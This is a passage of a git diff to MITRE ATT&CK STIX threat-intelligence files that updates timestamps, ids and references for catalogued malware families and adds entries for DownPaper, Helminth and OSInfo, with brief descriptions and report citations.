-    "id": "bundle--e03e254c-4f6d-4865-93d9-ee96bb6ef39e",
+    "id": "bundle--812f0a08-3aa1-4820-9ee2-27865fd68b34",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--d3afa961-a80c-4043-9509-282cdf69ab21",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:21.027Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Winnti",
             "description": "Winnti is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, Winnti Group; however, reporting indicates a second distinct group, Axiom, also uses the malware. (Citation: Kaspersky Winnti April 2013) (Citation: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti April 2015)\n\nAliases: Winnti",
             "labels": [
diff --git a/enterprise-attack/malware/malware--d69c8146-ab35-4d50-8382-6fc80e641d43.json b/enterprise-attack/malware/malware--d69c8146-ab35-4d50-8382-6fc80e641d43.json
index a8cf6d98b6..89c7283693 100644
--- a/enterprise-attack/malware/malware--d69c8146-ab35-4d50-8382-6fc80e641d43.json
+++ b/enterprise-attack/malware/malware--d69c8146-ab35-4d50-8382-6fc80e641d43.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--40734a52-6cdd-4e08-802f-66fa40025d47",
+    "id": "bundle--7f586ccf-bed7-43e4-a942-c949509a7058",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:45.892Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "BLACKCOFFEE",
             "description": "BLACKCOFFEE is malware that has been used by APT17 since at least 2013. (Citation: FireEye APT17)\n\nAliases: BLACKCOFFEE",
             "labels": [
diff --git a/enterprise-attack/malware/malware--da2ef4a9-7cbe-400a-a379-e2f230f28db3.json b/enterprise-attack/malware/malware--da2ef4a9-7cbe-400a-a379-e2f230f28db3.json
index 9c34762dd0..bc15d9cace 100644
--- a/enterprise-attack/malware/malware--da2ef4a9-7cbe-400a-a379-e2f230f28db3.json
+++ b/enterprise-attack/malware/malware--da2ef4a9-7cbe-400a-a379-e2f230f28db3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b3ebf26d-e24f-4825-ace2-cab976de7eba",
+    "id": "bundle--651f4c0c-4561-4883-ad8c-e496a60352eb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--da2ef4a9-7cbe-400a-a379-e2f230f28db3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:08.292Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "BOOTRASH",
             "description": "BOOTRASH is a Bootkit that targets Windows operating systems. It has been used by threat actors that target the financial sector. (Citation: MTrends 2016)\n\nAliases: BOOTRASH",
             "labels": [
diff --git a/enterprise-attack/malware/malware--da5880b4-f7da-4869-85f2-e0aba84b8565.json b/enterprise-attack/malware/malware--da5880b4-f7da-4869-85f2-e0aba84b8565.json
index 0e11874d12..02a1f22603 100644
--- a/enterprise-attack/malware/malware--da5880b4-f7da-4869-85f2-e0aba84b8565.json
+++ b/enterprise-attack/malware/malware--da5880b4-f7da-4869-85f2-e0aba84b8565.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ca40e609-8d3d-4a74-8483-81e86825e399",
+    "id": "bundle--51485fa9-1e58-4685-9fd7-1df9d589cc7e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:13.252Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "ComRAT",
             "description": "ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla. (Citation: Symantec Waterbug) (Citation: NorthSec 2015 GData Uroburos Tools)\n\nAliases: ComRAT",
             "labels": [
diff --git a/enterprise-attack/malware/malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e.json b/enterprise-attack/malware/malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e.json
index f5a5cf86aa..31cedefd10 100644
--- a/enterprise-attack/malware/malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e.json
+++ b/enterprise-attack/malware/malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--086b30fa-ad2b-4b60-855c-5b3241490b15",
+    "id": "bundle--0d25ed47-cb3e-4657-b139-e42b2e4e559d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:22.451Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "ChChes",
             "description": "ChChes is a Trojan that appears to be used exclusively by menuPass. It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)\n\nAliases: ChChes, Scorpion, HAYMAKER",
             "labels": [
diff --git a/enterprise-attack/malware/malware--dfb5fa9b-3051-4b97-8035-08f80aef945b.json b/enterprise-attack/malware/malware--dfb5fa9b-3051-4b97-8035-08f80aef945b.json
index 71efebdf8c..ca90abb55e 100644
--- a/enterprise-attack/malware/malware--dfb5fa9b-3051-4b97-8035-08f80aef945b.json
+++ b/enterprise-attack/malware/malware--dfb5fa9b-3051-4b97-8035-08f80aef945b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0cdacd3f-8ecd-403c-8860-e7df84c20217",
+    "id": "bundle--9439f3ce-8eba-4df4-8a3f-f987cd644397",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:53.268Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Psylo",
             "description": "Psylo is a shellcode-based Trojan that has been used by Scarlet Mimic. It has similar characteristics as FakeM. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: Psylo",
             "labels": [
diff --git a/enterprise-attack/malware/malware--e066bf86-9cfb-407a-9d25-26fd5d91e360.json b/enterprise-attack/malware/malware--e066bf86-9cfb-407a-9d25-26fd5d91e360.json
index 2c82bd617d..e35961749c 100644
--- a/enterprise-attack/malware/malware--e066bf86-9cfb-407a-9d25-26fd5d91e360.json
+++ b/enterprise-attack/malware/malware--e066bf86-9cfb-407a-9d25-26fd5d91e360.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f1f2b40e-8366-41ee-8c2d-c28c9294b117",
+    "id": "bundle--6cfe1f7f-a468-4e05-8c4d-054df31052dc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:46.445Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "HTTPBrowser",
             "description": "HTTPBrowser is malware that has been used by several threat groups. (Citation: ThreatStream Evasion Analysis) (Citation: Dell TG-3390) It is believed to be of Chinese origin. (Citation: ThreatConnect Anthem)\n\nAliases: HTTPBrowser, Token Control, HttpDump",
             "labels": [
diff --git a/enterprise-attack/malware/malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61.json b/enterprise-attack/malware/malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61.json
index 327fc37f09..f71804a04a 100644
--- a/enterprise-attack/malware/malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61.json
+++ b/enterprise-attack/malware/malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a1db10af-4f96-4a15-a7a4-c8740e911b71",
+    "id": "bundle--7324a7d3-baca-46d4-9ed6-61e4a954b62f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:55.565Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Mis-Type",
             "description": "Mis-Type is a backdoor hybrid that was used by Dust Storm in 2012. (Citation: Cylance Dust Storm)\n\nAliases: Mis-Type",
             "labels": [
diff --git a/enterprise-attack/malware/malware--e48df773-7c95-4a4c-ba70-ea3d15900148.json b/enterprise-attack/malware/malware--e48df773-7c95-4a4c-ba70-ea3d15900148.json
new file mode 100644
index 0000000000..0792acdb08
--- /dev/null
+++ b/enterprise-attack/malware/malware--e48df773-7c95-4a4c-ba70-ea3d15900148.json
@@ -0,0 +1,37 @@
+{
+    "type": "bundle",
+    "id": "bundle--3cbfe8da-f536-43ba-9f08-e3b31791077f",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "malware",
+            "id": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "DownPaper",
+            "description": "is a backdoor Trojan; its main functionality is to download and run second stage malware. (Citation: ClearSky Charming Kitten Dec 2017)\n\nAliases: DownPaper",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0186",
+                    "external_id": "S0186"
+                },
+                {
+                    "source_name": "ClearSky Charming Kitten Dec 2017",
+                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "DownPaper"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/malware/malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4.json b/enterprise-attack/malware/malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4.json
index db13d27c22..bf99b84d55 100644
--- a/enterprise-attack/malware/malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4.json
+++ b/enterprise-attack/malware/malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9bc70925-7212-45af-aa50-5369b2286a46",
+    "id": "bundle--8bf5c929-200c-4b69-9c15-42f4454639c8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:17.272Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "HIDEDRV",
             "description": "HIDEDRV is a rootkit used by APT28. It has been deployed along with Downdelph to execute and hide that malware. (Citation: ESET Sednit Part 3) (Citation: Sekoia HideDRV Oct 2016)\n\nAliases: HIDEDRV",
             "labels": [
diff --git a/enterprise-attack/malware/malware--e6ef745b-077f-42e1-a37d-29eecff9c754.json b/enterprise-attack/malware/malware--e6ef745b-077f-42e1-a37d-29eecff9c754.json
index 8b00ccc592..e8f29ad111 100644
--- a/enterprise-attack/malware/malware--e6ef745b-077f-42e1-a37d-29eecff9c754.json
+++ b/enterprise-attack/malware/malware--e6ef745b-077f-42e1-a37d-29eecff9c754.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--877d086b-1335-44c1-bcab-082d53ef49fd",
+    "id": "bundle--7deb9303-350f-4746-a686-e6e9425cbc0f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:35.022Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "CozyCar",
             "description": "CozyCar is malware that was used by APT29 from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality. (Citation: F-Secure The Dukes)\n\nAliases: CozyCar, CozyDuke, CozyBear, Cozer, EuroAPT",
             "labels": [
diff --git a/enterprise-attack/malware/malware--e8268361-a599-4e45-bd3f-71c8c7e700c0.json b/enterprise-attack/malware/malware--e8268361-a599-4e45-bd3f-71c8c7e700c0.json
index 2ee92aa484..f605779c7b 100644
--- a/enterprise-attack/malware/malware--e8268361-a599-4e45-bd3f-71c8c7e700c0.json
+++ b/enterprise-attack/malware/malware--e8268361-a599-4e45-bd3f-71c8c7e700c0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e6b4e701-e2e6-4714-91cb-a99d80bb55a4",
+    "id": "bundle--23c05f8a-8bc0-45cb-ad75-9d9a5b05935a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:45.315Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "httpclient",
             "description": "httpclient is malware used by Putter Panda. It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool. (Citation: CrowdStrike Putter Panda)\n\nAliases: httpclient",
             "labels": [
diff --git a/enterprise-attack/malware/malware--e9595678-d269-469e-ae6b-75e49259de63.json b/enterprise-attack/malware/malware--e9595678-d269-469e-ae6b-75e49259de63.json
index 2f21c73234..3199f433f8 100644
--- a/enterprise-attack/malware/malware--e9595678-d269-469e-ae6b-75e49259de63.json
+++ b/enterprise-attack/malware/malware--e9595678-d269-469e-ae6b-75e49259de63.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0bbab40d-c092-45c4-af4e-31238a90d47a",
+    "id": "bundle--6173e12e-f3e5-4980-99cf-bda355c6bb33",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--e9595678-d269-469e-ae6b-75e49259de63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:14.118Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "BADNEWS",
             "description": "BADNEWS is malware that has been used by the actors responsible for the MONSOON campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon)\n\nAliases: BADNEWS",
             "labels": [
diff --git a/enterprise-attack/malware/malware--eff1a885-6f90-42a1-901f-eef6e7a1905e.json b/enterprise-attack/malware/malware--eff1a885-6f90-42a1-901f-eef6e7a1905e.json
new file mode 100644
index 0000000000..fb1737dc28
--- /dev/null
+++ b/enterprise-attack/malware/malware--eff1a885-6f90-42a1-901f-eef6e7a1905e.json
@@ -0,0 +1,40 @@
+{
+    "type": "bundle",
+    "id": "bundle--4d1b30f4-d113-4941-9ad6-db1735fd7797",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "malware",
+            "id": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Helminth",
+            "description": "Helminth is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable. (Citation: Palo Alto OilRig May 2016)\n\nAliases: Helminth\n\nContributors: Robert Falcone",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0170",
+                    "external_id": "S0170"
+                },
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Helminth"
+            ],
+            "x_mitre_contributors": [
+                "Robert Falcone"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/malware/malware--f108215f-3487-489d-be8b-80e346d32518.json b/enterprise-attack/malware/malware--f108215f-3487-489d-be8b-80e346d32518.json
index d0d19e998f..af66c5024a 100644
--- a/enterprise-attack/malware/malware--f108215f-3487-489d-be8b-80e346d32518.json
+++ b/enterprise-attack/malware/malware--f108215f-3487-489d-be8b-80e346d32518.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4d71a8ea-187d-44c4-9eec-5498cac325a2",
+    "id": "bundle--332625aa-9bc1-4742-ba1c-d963be050b28",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--f108215f-3487-489d-be8b-80e346d32518",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Komplex",
             "description": "Komplex is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to  (Citation: XAgentOSX) (Citation: XAgentOSX) (Citation: Sofacy Komplex Trojan).\n\nAliases: Komplex",
             "labels": [
diff --git a/enterprise-attack/malware/malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2.json b/enterprise-attack/malware/malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2.json
index df0e3fb803..c8c015247f 100644
--- a/enterprise-attack/malware/malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2.json
+++ b/enterprise-attack/malware/malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--79ff7538-d172-4b57-a770-979d4f28151f",
+    "id": "bundle--ec878677-37eb-49d8-ab2a-d84706557915",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:20.526Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "GLOOXMAIL",
             "description": "GLOOXMAIL is malware used by APT1 that mimics legitimate Jabber/XMPP traffic. (Citation: Mandiant APT1)\n\nAliases: GLOOXMAIL, Trojan.GTALK",
             "labels": [
diff --git a/enterprise-attack/malware/malware--f5352566-1a64-49ac-8f7f-97e1d1a03300.json b/enterprise-attack/malware/malware--f5352566-1a64-49ac-8f7f-97e1d1a03300.json
index 4ae263f605..e2cac909e3 100644
--- a/enterprise-attack/malware/malware--f5352566-1a64-49ac-8f7f-97e1d1a03300.json
+++ b/enterprise-attack/malware/malware--f5352566-1a64-49ac-8f7f-97e1d1a03300.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--838c0b9c-c53c-4b4b-9f93-04e7b8e50832",
+    "id": "bundle--550337b2-8049-4cdf-aae7-3fdb8840028e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:14.551Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "AutoIt backdoor",
-            "description": "AutoIt is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.\n\nAliases: AutoIt backdoor",
+            "description": "AutoIt backdoor is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.\n\nAliases: AutoIt backdoor",
             "labels": [
                 "malware"
             ],
diff --git a/enterprise-attack/malware/malware--f6ae7a52-f3b6-4525-9daf-640c083f006e.json b/enterprise-attack/malware/malware--f6ae7a52-f3b6-4525-9daf-640c083f006e.json
index 0b471e972f..129283ca7b 100644
--- a/enterprise-attack/malware/malware--f6ae7a52-f3b6-4525-9daf-640c083f006e.json
+++ b/enterprise-attack/malware/malware--f6ae7a52-f3b6-4525-9daf-640c083f006e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--50fe19d1-2bfa-4c1f-84ce-033cd40021a7",
+    "id": "bundle--0b927a16-9923-4e92-9b9c-cd9604ffc061",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "PHOREAL",
             "description": "PHOREAL is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)\n\nAliases: PHOREAL",
             "labels": [
diff --git a/enterprise-attack/malware/malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8.json b/enterprise-attack/malware/malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8.json
new file mode 100644
index 0000000000..37046d3151
--- /dev/null
+++ b/enterprise-attack/malware/malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8.json
@@ -0,0 +1,37 @@
+{
+    "type": "bundle",
+    "id": "bundle--785d836a-17b9-4e1e-95be-205a1de4c6ff",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "malware",
+            "id": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "OSInfo",
+            "description": "is a custom tool used by APT3 to do internal discovery on a victim's computer and network.  (Citation: Symantec Buckeye)\n\nAliases: OSInfo",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0165",
+                    "external_id": "S0165"
+                },
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "OSInfo"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/malware/malware--f8dfbc54-b070-4224-b560-79aaa5f835bd.json b/enterprise-attack/malware/malware--f8dfbc54-b070-4224-b560-79aaa5f835bd.json
index b289c284c2..c36c2b90b2 100644
--- a/enterprise-attack/malware/malware--f8dfbc54-b070-4224-b560-79aaa5f835bd.json
+++ b/enterprise-attack/malware/malware--f8dfbc54-b070-4224-b560-79aaa5f835bd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e5ba815e-8983-4681-bcb8-19c1eea5d444",
+    "id": "bundle--72c0bc0f-299b-4ae5-a48a-34954c9b216f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:15.910Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "H1N1",
             "description": "H1N1 is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality. (Citation: Cisco H1N1 Part 1)\n\nAliases: H1N1",
             "labels": [
diff --git a/enterprise-attack/malware/malware--fb261c56-b80e-43a9-8351-c84081e7213d.json b/enterprise-attack/malware/malware--fb261c56-b80e-43a9-8351-c84081e7213d.json
index e705306453..abe283619c 100644
--- a/enterprise-attack/malware/malware--fb261c56-b80e-43a9-8351-c84081e7213d.json
+++ b/enterprise-attack/malware/malware--fb261c56-b80e-43a9-8351-c84081e7213d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7ef67712-1d49-4e6c-92fb-90a4c8526eec",
+    "id": "bundle--40f59f85-6bb6-4a9e-99ce-52cf40935f9a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:24.428Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "BACKSPACE",
             "description": "BACKSPACE is a backdoor used by APT30 that dates back to at least 2005. (Citation: FireEye APT30)\n\nAliases: BACKSPACE, Lecna",
             "labels": [
diff --git a/enterprise-attack/malware/malware--fb575479-14ef-41e9-bfab-0b7cf10bec73.json b/enterprise-attack/malware/malware--fb575479-14ef-41e9-bfab-0b7cf10bec73.json
index e8c9f9a7ae..5214762c34 100644
--- a/enterprise-attack/malware/malware--fb575479-14ef-41e9-bfab-0b7cf10bec73.json
+++ b/enterprise-attack/malware/malware--fb575479-14ef-41e9-bfab-0b7cf10bec73.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--474a1219-37eb-4738-b930-5aecf550b496",
+    "id": "bundle--5fed08bc-a804-4a58-a8f8-934ea27e1868",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:34.648Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "ADVSTORESHELL",
             "description": "ADVSTORESHELL is a spying backdoor that has been used by APT28 from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase. (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 2)\n\nAliases: ADVSTORESHELL, NETUI, EVILTOSS, AZZY, Sedreco",
             "labels": [
@@ -23,7 +23,7 @@
                 {
                     "source_name": "Kaspersky Sofacy",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
-                    "url": "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                 },
                 {
                     "source_name": "ESET Sednit Part 2",
diff --git a/enterprise-attack/malware/malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3.json b/enterprise-attack/malware/malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3.json
index 6a5b650236..36e1d35558 100644
--- a/enterprise-attack/malware/malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3.json
+++ b/enterprise-attack/malware/malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3.json
